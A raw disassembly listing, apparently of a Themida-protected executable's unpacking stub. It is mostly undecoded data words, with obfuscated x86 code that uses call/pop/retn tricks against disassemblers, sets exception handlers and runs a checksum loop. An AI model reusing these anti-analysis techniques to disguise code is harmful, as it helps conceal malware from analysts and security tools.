dd 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
dd 52420000h, 0FF2193C3h, 0BB6613BBh, 95FFF434h, 7FA21ADh
dd 231DB529h, 0BD8307FAh, 7FA2221h, 58840F02h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h
dd 42000000h, 0F16FC352h, 0A5BD8B4Ch, 8907FA0Ah, 0FA2975B5h
dd 15858B07h, 8B07FA16h, 0FA0A859Dh, 0C607h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0D4C35141h, 0C7B6C2D9h
dd 0FA16DD85h, 7, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1B04h, 0C3554500h, 5AD351FAh, 0D7627D50h
dd 18059589h, 0E9F807FAh, 0FFFFF305h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ah, 6AC35040h, 0B20417A3h, 9D8BF3B9h
dd 7FA17CDh, 2C219529h, 0C18B07FAh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 0DEC35242h, 8D0B773Dh, 0FA019985h
dd 81BD8B07h, 5007FA17h, 61D98B60h, 60240489h, 0B589FA8Ah
dd 7FA0B45h, 6A006A61h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 0E137C352h, 45466EAEh
dd 8151B352h, 9EA388C7h, 0E9006A10h, 6, 8900CD49h, 11E9E307h
dd 0DB000000h, 1673609Ah, 7B14B8E3h, 0EC9DEE09h, 6CB6C03Ah
dd 0FBC9858Dh, 0BD8907FEh, 7FA239Dh, 6A05C083h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 60A2C351h, 667AAA2Bh, 4E88CF81h, 12E86050h, 76000000h
dd 4B715678h, 0D5A1E786h, 66681C5Bh, 87DFB1FBh, 5EB0B0D7h
dd 0CE8h, 4C5C3700h, 85EE2C5h, 52CBD6C5h, 0DEBA66ECh, 89615950h
dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
dd 52420000h, 0FB204C3h, 0CF80FEBFh, 0DE891h, 0BA020000h
dd 7E44EAF4h, 7264DA26h, 9965932h, 0FA25C9BDh, 6A5B07h
dd 800F006Ah, 0Ah, 5E9h, 98FEC00h, 95FFFC8Ah, 7FA2BE9h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 54C35242h
dd 25B589DBh, 8D07FA28h, 0FDD7118Dh, 57006A07h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 4424ACh, 0E90EEAA6h
dd 6, 82738C71h, 8B6689F1h, 0F8D1FFFEh, 33EDBD83h, 0F0107FAh
dd 7985h, 0DBD8B00h, 6A07FA2Eh, 0C99D8902h, 6007FA16h
dd 0B5858B60h, 6107FA33h, 52509061h, 310FDE8Bh, 58C0Fh
dd 70BF0000h, 5A6C1E74h, 0FE85058h, 20000000h, 0EB251DE8h
dd 291E2A74h, 9D451378h, 0D88B4071h, 6A905Fh, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 190424h, 52420000h, 104FCC3h
dd 66A7AFD6h, 27C6CB81h, 1C9595FFh, 895207FAh, 0FA2181B5h
dd 0A1E95B07h, 0E800000Ch, 0
dd 0D3ED815Dh, 3107FEFBh, 0FA32B585h, 0FCEB8107h, 0F2BEA06h
dd 858DD9BFh, 7FDB959h, 68A0Fh, 9D890000h, 7FA181Dh, 50F98B90h
dd 6090FC8Ah, 15DD8503h, 800F07FAh, 6, 34F98501h, 896107FAh
dd 0FA2821BDh, 35FF6407h, 0
; ---------------------------------------------------------------------------
mov large fs:0, esp
mov edi, [ebp+7FA07B5h]
inc dword ptr [ebp+7FA1049h]
push 0
push edx
call sub_5D3082
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D3082 proc near ; CODE XREF: Themida_:005D307Ap
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5D3082 endp
; ---------------------------------------------------------------------------
inc eax
cmp bh, ah
xor bh, 0B8h
push 0FFFFFFFFh
push 0
push edi
call sub_5D30A5
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D30A5 proc near ; CODE XREF: Themida_:005D309Dp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5D30A5 endp
; ---------------------------------------------------------------------------
db 64h, 72h, 32h
; ---------------------------------------------------------------------------
pop ecx
xchg eax, esi
sbb ebx, 7E4A8282h
push dword ptr [ebp+7FA2D6Dh]
push 0
push ebx
call sub_5D30D1
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D30D1 proc near ; CODE XREF: Themida_:005D30C9p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5D30D1 endp
; ---------------------------------------------------------------------------
push ebp
mov dh, 0AFh
pop es
mov ecx, 0EDF738BEh
cmp dh, ch
call dword ptr [ebp+7FA2875h]
jmp loc_5D322E
; ---------------------------------------------------------------------------
db 81h
dd 105BC4DBh, 8B00B038h, 0FA17899Dh, 0F70E607h, 71E4D9B7h
dd 0C0DF8166h, 0F613CCAh, 11583h, 9DBD8900h, 0F07FA0Ah
dd 0E860C8B6h, 6, 3B1E2C13h, 8B66D1F3h, 852959F1h, 7FA2EA1h
dd 8B666061h, 0BA61FCD6h, 6, 28218589h, 6E907FAh, 0BC000000h
dd 0A859BC8Dh, 81C18B74h, 4234AFE7h, 4E8C149h, 0FE8h, 17888700h
dd 0C789C0D3h, 0DDCE1A36h, 68453465h, 68F0Fh, 0BD8B0000h
dd 7FA3399h, 0E2F7665Fh, 280D9D89h, 0C82B07FAh, 8BFABF0Fh
dd 0ADDFBFD1h, 93E932B4h, 29000000h, 0FA07619Dh, 1858B07h
dd 8B000000h, 0FA082DBDh, 7C08307h, 0C083DA8Bh, 0FE800h
dd 0CF270000h, 42E9FE33h, 38A53658h, 95153D04h, 0F5BF8CEh
dd 0D03BDFB7h, 29830Fh, 0BD890000h, 7FA1F59h, 8E9h, 77FAAF00h
dd 0F6950D6Eh, 40E916h, 0CE90000h, 0C0000000h, 72981DEDh
dd 0B2DE2EDEh, 8B6C2DFBh, 0FFFFFF8Dh, 0E183F9FFh, 1F840F01h
dd 80000000h, 0A58303EBh, 0FFFFFFFFh, 0F19D23FEh, 8907FA28h
dd 195h, 94BF6600h, 0E9DCh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5D322E: ; CODE XREF: Themida_:005D30F2j
lea esi, [ebp+7FE7552h]
call sub_5D3242
popa
push ebx
push ebp
hlt
; ---------------------------------------------------------------------------
mov edi, 4BD77AFCh
; =============== S U B R O U T I N E =======================================
sub_5D3242 proc near ; CODE XREF: Themida_:005D3234p
pop ebx
push 0
mov [ebp+7FA1C49h], edi
call dword ptr [ebp+7FA1019h]
push 0
push eax
call sub_5D325C
and [eax-3Dh], bl
sub_5D3242 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5D325C proc near ; CODE XREF: sub_5D3242+12p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_5D325C endp
; ---------------------------------------------------------------------------
mov ds:0B260A823h, eax
push edx
mov esi, edx
popa
mov ecx, 0FFDh
push edi
xor [ebp+7FA27F9h], edi
pop ebx
and ecx, 0FFFFFFFCh
or [ebp+7FA0EF1h], edx
cld
jmp loc_5D3296
; ---------------------------------------------------------------------------
db 0E7h, 0Bh, 87h
; ---------------------------------------------------------------------------
xor esi, [esi]
loc_5D3296: ; CODE XREF: Themida_:005D328Cj
sub eax, eax
push 0
push ebx
call sub_5D32A3
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D32A3 proc near ; CODE XREF: Themida_:005D329Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 18h
inc ebx
push ebx
retn
sub_5D32A3 endp
; ---------------------------------------------------------------------------
db 0E5h
dd 0BDED6094h, 53C78166h, 0BAC1h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 857B90C3h
dd 0D72ADFDEh, 0D98B8BBBh, 0D1C233ADh, 83D003E8h, 0F47504E9h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 25C35343h
dd 0C1968396h, 5E8h, 180A9200h, 0BD8919D7h, 7FA0849h, 0FFB70F5Bh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 68C35747h
dd 0FF735770h, 880DACDDh, 8B000000h, 0FA1D85BDh, 0D9958B07h
dd 6A07FA1Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 17042444h, 46000000h, 0CFA6C356h, 8D8BA0B8h, 7FA31ADh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 18C35040h
dd 11D0D594h, 81BA1540h, 97CA10F7h, 6BF662Eh, 0C28B50CEh
dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 0FA2981BDh
dd 458D8907h, 8307FA21h, 0FA2A29BDh, 840F0007h, 37h, 2359BD89h
dd 0B807FAh, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 92E7C350h, 172F7D17h
dd 4F668D8Dh, 0E1FF07FAh, 83DE8B66h, 0FA2BD9BDh, 840F0007h
dd 387h, 2BD9BD83h, 0F0107FAh, 39584h, 5830F00h, 0BF000000h
dd 290461BDh, 2BD9BD83h, 0F0307FAh, 34786h, 5FBF6600h
dd 8C666021h, 52006AD9h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 5FBA6FDBh, 6A04E180h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F237C351h
dd 317A2EA2h, 4413495Fh, 0ABEB8166h, 0FC90A8Bh, 0D684h
dd 0FE96000h, 0DB000000h, 1176C428h, 0CD433B4Eh, 640AD6E2h
dd 0B58BE0A2h, 7FA2C21h, 0E9858B61h, 6A07FA0Fh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 28F1C350h, 3040860Ah, 33D98B66h, 0FA15E185h, 9D015607h
dd 7FA1DEDh, 5250905Bh, 4311BF66h, 0C3B3310Fh, 0E950585Ah
dd 5, 0F87EBE87h, 0F569040h, 6A5FD8BFh, 0BD16800h, 8B66AAA1h
dd 240481DFh, 557DF82Eh, 1CE995FFh, 0DF8B07FAh, 0EB968589h
dd 958907FDh, 7FA2251h, 1D7E9h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0DDCAFB61h
dd 0E9B71A89h, 0Dh, 195C1253h, 5119DE37h, 5C736670h, 0F1BD89A8h
dd 8B07FA07h, 0FDEB8E85h, 55006A07h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 86E91A23h
dd 0C8B0Fh, 820F0000h, 6, 26A99D8Bh, 0B70F07FAh, 1800C7F9h
dd 66000000h, 0B58BFE8Bh, 7FDEB92h, 0EE9h, 7D66C200h, 7E8878A8h
dd 8155CE82h, 0F515FEC7h, 0D51858Bh, 0BD8B07FAh, 7FA2AE1h
dd 0BF0F0689h, 0E9858BDFh, 6A07FA0Fh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 75DAC355h
dd 52C57CE1h, 9AB96B56h, 118D9589h, 0DA8A07FAh, 6A044689h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 598FC352h, 82346C09h, 319D335Ch, 9607FA23h
dd 6ADCE6BBh, 0BF665060h, 0BB9697E3h, 6F7BD9A5h, 0EB8EB5FFh
dd 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 5C2BF2C3h, 62A0B068h, 860FC5h, 81000000h
dd 634F2404h, 6A3ABCh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 0FC6033C3h, 96858D61h, 6A07FDEBh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 78ECC355h, 0E821B27Ch, 0F50ED04h, 8Fh, 24048900h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 36C35747h
dd 5B468CEEh, 0FF9EB457h, 0FA1CE995h, 0AE907h, 6E660000h
dd 0BA19A9CEh, 72CA8E59h, 50006A61h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0A7004B2Bh
dd 2531BD33h, 952907FAh, 7FA29DDh, 2BD985C7h, 307FAh, 8B660000h
dd 96BD83F8h, 7FDEBh, 32840Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0C5A7A9C3h
dd 2162AFABh, 24E9B2B8h, 80000000h, 9D8B5ECBh, 7FA1681h
dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h
dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 0BBC08B00h
dd 6B5F2E7Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 68C35646h, 81B177B3h, 0C6BF96E7h, 89958932h, 8307FA22h
dd 0FA2BD9BDh, 850F0307h, 47Fh, 1BC59D89h, 0BD8307FAh
dd 7FDEB96h, 6C840F00h, 8B000004h, 0FA26B59Dh, 96B5FF07h
dd 0FC07FDEBh, 274595FFh, 6A07FAh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 0E3CBCDC3h, 7388D31Fh
dd 0F006BB66h, 0EB8AB58Bh, 6A07FDh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0A549F9C3h
dd 73A7B781h, 8B06AFCFh, 0FA1CB19Dh, 0BF0F6007h, 419D8BCAh
dd 6107FA05h, 106C7h, 0BF660001h, 0DF8BCE28h, 0C8C0F50h
dd 0E9000000h, 7, 0DE82EED4h, 89EB187Eh, 0BF0F2434h, 96B5FFDEh
dd 8907FDEBh, 0FA11A185h, 0E195FF07h, 6A07FA18h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 77B8C353h, 0C67EE41Ch, 6E984h, 0C59D0000h, 807B6D69h
dd 0EB8AB58Bh, 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 9BD300C3h, 0FA7AE1CBh, 7D858B94h
dd 6A07FA1Ch, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 0BB9FC352h, 375A0585h, 4EDF8166h
dd 0C48689ECh, 80000000h, 958B24D7h, 7FA1CD9h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0BEC35747h, 17BEFE2Eh
dd 0EE9B9h, 6D80000h, 6FF40570h, 738149FDh, 4D5212E1h
dd 6A04C283h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1B042444h, 47000000h, 2163C357h, 93CE38AFh, 9D8B7391h
dd 7FA20D9h, 6870Fh, 0F3810000h, 549FC9C9h, 8D205089h
dd 0FDFEF785h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1804h, 0C3564600h, 0D99B2993h, 31BD01BFh
dd 8B07FA31h, 0FA14BDBDh, 0B8868907h, 6A000000h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
dd 0F7EFC353h, 88C1849Ah, 0FDEBF0Fh, 387h, 0DA8B6600h
dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
dd 56460000h, 0F27B6C3h, 1781h, 0FE85700h, 0A0000000h
dd 0CF61081Ah, 88F054Dh, 98859DCh, 5B5F40CDh, 0EB96B5FFh
dd 0DA8A07FDh, 1C9595FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 0AF50FCC3h, 965EC271h
dd 0E850F98Bh, 0Eh, 6B99F6AEh
dd 869CF85Ah, 0BB1EAC72h, 965B2320h, 0B5FFF98Bh, 7FDEB96h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0F0C35040h
dd 1D9595FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 111FF1C3h, 53605FB5h, 0BE95FF9h
dd 86000000h, 0C08C1054h, 2C8571C8h, 89610288h, 0FA0E1D9Dh
dd 31BD8307h, 7FA01h, 82840Fh, 6A0000h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1C0424h, 50400000h, 112EDBC3h
dd 6817D796h, 50F916DBh, 13E8h, 0E76F00h, 78B83723h, 0B7DF6138h
dd 7DEBD25h, 7AF155FEh, 5F6EB353h, 2434895Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 61C35141h, 0BE3779A6h
dd 17BEFE2Eh, 0E820FB9h, 0E8000000h, 6, 33BBDFB5h, 0FD8AB2AAh
dd 5FF8515Bh, 0EB96B5FFh, 9D8B07FDh, 7FA2E65h, 1CB595FFh
dd 6A07FAh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 25A6A5C3h, 0E91BF726h, 0D8B70F53h, 96B5FF5Fh
dd 107FDEBh, 0FA316D95h, 0AD95FF07h, 8907FA21h, 0FA16C98Dh
dd 699D8B07h, 8307FA28h, 0FA2221BDh, 840F0207h, 59h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0BBC35141h, 0A4E1CD10h
dd 0BD89098Ah, 7FA3295h, 1615858Bh, 0FE8B07FAh, 6A0000C6h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 0A1D2C351h, 72DF765Ah, 50BB66EBh, 0DD85C7BCh
dd 7FA16h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 0E923C357h, 0FFFFF3FCh, 8E9h
dd 8AB8C900h, 9A7E50C5h, 0FC18B35h, 0DE8BD9B7h, 199858Dh
dd 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 3B3AC9C3h, 90F88B9Fh, 0BB665250h, 310FE1E5h
dd 585A01B3h, 0BF605750h, 5833131Dh, 5F61B2B4h, 0BDBD8B90h
dd 0B307FA1Dh, 31006AA9h, 0FA2F69BDh, 6A006A07h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
dd 2181C351h, 0BD8B641Dh, 7FA1675h, 0AE9h, 0DA462D00h
dd 0D0608184h, 8DF88672h, 0FF0AA585h, 0DBD0107h, 8007FA24h
dd 0C0839CEBh, 8B50F805h, 240489D8h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ah, 98C35545h, 51AE5A69h, 8E0F73BFh
dd 6, 222D9D8Bh, 0B58907FAh, 7FA2A2Dh, 6A006Ah, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 0CEB407C3h, 0F6B70F60h, 2215BD89h, 6A6107FAh, 53006A00h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
dd 0E0845BDDh, 0FF2FB74Ch, 0FA2BE995h, 52006A07h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 0E233137Eh, 0D7118D8Dh, 816607FDh, 0FFC8B3F7h, 83EAB7D1h
dd 0FA33EDBDh, 850F0107h, 0D2h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 30C35343h, 26A66EEh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E7C35747h, 0FF947B0h
dd 0D381FBB7h, 4BE8BB35h, 1270D381h, 60905CDBh, 0DE85250h
dd 83000000h, 6B18FE80h, 6020C2EBh, 2E0DB1B9h, 66310F58h
dd 5A3660BBh, 7E858h, 0B0350000h, 20CD6965h, 5E5A5145h
dd 810F5061h, 15h, 0F840Fh, 0AE90000h, 0DE000000h, 1F4CAE2Fh
dd 0BFBDCCC2h, 0E956900Fh, 9, 3C87EE53h, 56B9AF28h, 95FF5F80h
dd 7FA1C95h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ah, 63C35242h, 986AF9C0h, 1EE95A69h, 0E800000Dh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 7FF0AAFh
push 0
push edx
call sub_5D3F02
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D3F02 proc near ; CODE XREF: Themida_:005D3EFAp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5D3F02 endp
; ---------------------------------------------------------------------------
cmpsd
jmp short loc_5D3F83
; ---------------------------------------------------------------------------
db 79h, 66h, 81h
dd 0E9C493DFh, 0Fh, 0A51D68D9h, 0F8A1401Dh, 0DB7C6F0Dh
dd 8D92068Ah, 0FDB95985h, 66519007h, 5BFD23BBh, 8B666050h
dd 0EE960D7h, 9F000000h, 5BAB71B6h, 0BFF311Ah, 141B547Fh
dd 0F28B663Ch, 0F906161h, 158Ah, 0F890F00h, 0E9000000h
dd 0Ah, 74D7100h, 0E75AE8E7h, 8B665105h, 35FF64FAh, 0
; ---------------------------------------------------------------------------
movzx edi, di
loc_5D3F83: ; CODE XREF: Themida_:005D3F13j
mov large fs:0, esp
mov ebx, [ebp+7FA2EEDh]
mov di, cx
inc dword ptr [ebp+7FA1049h]
push 0
push edi
call sub_5D3FA4
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D3FA4 proc near ; CODE XREF: Themida_:005D3F9Cp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 17h
inc edi
push edi
retn
sub_5D3FA4 endp
; ---------------------------------------------------------------------------
dd 36E62F86h, 6AFBB70Fh, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 4580902Fh, 16A482Ch, 8D0FFCh
dd 0FF000000h, 0FA2149B5h, 51006A07h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0BFF5898Dh
dd 603827F3h, 287595FFh, 9E907FAh, 29000001h, 0FA2041BDh
dd 8B00B007h, 0FA1115BDh, 8B70E607h, 0FA28619Dh, 0F71E407h
dd 613CFAB7h, 0E6830Fh, 0BD8B0000h, 7FA33F1h, 0BAC8B60Fh
dd 6, 0BD8BDA8Bh, 7FA24B1h, 0CE9C18Bh, 0F7000000h, 6B01B372h
dd 65DC54E2h, 0C16FCADDh, 0DA8B04E8h, 89E2F766h, 0FA2E6595h
dd 0B3C82B07h, 31D18BD6h, 0FA316D95h, 9EE907h, 49B30000h
dd 4858Bh, 0F600000h, 68Dh, 49B58900h, 2907FA08h, 0FA0F9195h
dd 0C0836107h, 99BD0307h, 8307FA00h, 9D8B00C0h, 7FA31C9h
dd 830FD03Bh, 0Eh, 38A0Fh, 0DF800000h, 5AE9BBh, 8D8B0000h
dd 0FFFFFFFFh, 9FA2D381h, 0E1835838h, 45840F01h, 0E9000000h
dd 10h, 3C086FD9h, 736F4ADBh, 0D59F3EF7h, 9FFF2529h, 4860Fh
dd 0BB660000h, 0A5833256h, 0FFFFFFFFh, 8D9D8BFEh, 8907FA16h
dd 495h, 9E900h, 0BDBE0000h, 0CCD9D29h, 0E93E6BDDh, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+7FE854Fh]
mov [ebp+7FA1F3Dh], ebx
push 0
push 0
push eax
call sub_5D413D
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D413D proc near ; CODE XREF: Themida_:005D4135p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5D413D endp
; ---------------------------------------------------------------------------
db 65h, 54h, 8Ah
dd 619D8BFCh, 6607FA27h, 95FFD98Bh, 7FA1019h, 12E8h, 8E253E00h
dd 623912DEh, 712B7DFBh, 16D20F06h, 1467C0Ch, 0FA220DBDh
dd 0DAB95B07h, 8B00000Eh, 0FCE183D8h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 62C35242h, 8B03604Ah, 0F98AD320h
dd 2D8589FCh, 0B807FA2Fh, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5D41C3
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D41C3 proc near ; CODE XREF: Themida_:005D41BBp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_5D41C3 endp
; ---------------------------------------------------------------------------
aas
mov al, ds:994A9509h
push edi
mov di, 0F0EEh
sub [ebp+7FA2B39h], ebx
sub edx, edx
jz loc_5D41EF
movzx ebx, di
loc_5D41EF: ; CODE XREF: Themida_:005D41E6j
; Themida_:005D41F9j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5D41EF
add bl, 98h
push 0
push edi
call sub_5D4209
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D4209 proc near ; CODE XREF: Themida_:005D4201p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5D4209 endp
; ---------------------------------------------------------------------------
db 70h, 8Bh, 0D8h
; ---------------------------------------------------------------------------
or eax, 88h
mov [ebp+7FA0571h], esi
and edi, [ebp+7FA29B1h]
mov edx, [ebp+7FA1CD9h]
push 0
push edi
call sub_5D423E
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D423E proc near ; CODE XREF: Themida_:005D4236p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Bh
inc edi
push edi
retn
sub_5D423E endp
; ---------------------------------------------------------------------------
dw 2499h
dd 5B73FD3h, 0BD09ECE1h, 7FA2955h, 29818589h, 8D8B07FAh
dd 7FA31ADh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Dh, 67C35141h, 4D8CEB9Dh, 0B1D5D7F4h, 51953191h, 5007FA06h
dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 3DA8A58h
dd 0FA0839BDh, 50006A07h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 1186DD49h, 0AE0AC0BEh
dd 0BD836A81h, 7FA2A29h, 97840F00h, 66000000h, 8F5DD781h
dd 0E8F0Fh, 0F600000h, 84h, 65953300h, 6107FA2Dh, 0B8h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 84194BE2h, 0FA8B66FEh, 4F668D8Dh, 6A07FAh
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
dd 718F64C3h, 5E6C2BA2h, 99D8B92h, 0FF07FA2Ch, 53006AE1h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 0E6904A4h, 0A0DFEB81h, 0BD833FECh, 7FA2BD9h, 0B1840F00h
dd 6A000003h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 24D2C357h, 0D4B3D712h, 2AF1A579h
dd 2BD9BD83h, 0F0107FAh, 39A84h, 0E5958900h, 8307FA07h
dd 0FA2BD9BDh, 860F0307h, 351h, 0AC9642BFh, 6A6062h, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 28D89BC3h, 9094953Bh, 8BD98C66h, 0FA2EA5BDh, 4E18007h
dd 29B58D89h, 952907FAh, 7FA21A1h, 840FC90Ah, 106h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A0C35545h, 0DBFCAE5Fh
dd 64BF660Ah, 0E9858B9Ah, 6607FA0Fh, 9462CB81h, 15E18533h
dd 880F07FAh, 15h, 0DE8h, 976B1400h, 0D8D9DAEDh, 0F4057006h
dd 0DE8AFD6Fh, 68F0F5Fh, 31000000h, 0FA2379BDh, 8FB75007h
dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 0B634C356h, 0BD2B1928h, 850F60B4h
dd 6, 14B18D31h, 8E0F07FAh, 6, 23F1858Bh, 6A6107FAh, 0DBBF6600h
dd 46DE6847h, 0BB660E0Dh, 34814305h, 12452124h, 0AE90Eh
dd 81E40000h, 0AF3477C0h, 0DBF69095h, 0AA5BD2Bh, 95FF07FAh
dd 7FA1CE9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0CC35141h, 1C9C4EF8h, 8B66EADBh, 968589FBh, 8007FDEBh
dd 0AAE90CD3h, 0F000001h, 858BF9B7h, 7FDEB8Eh, 0E855006Ah
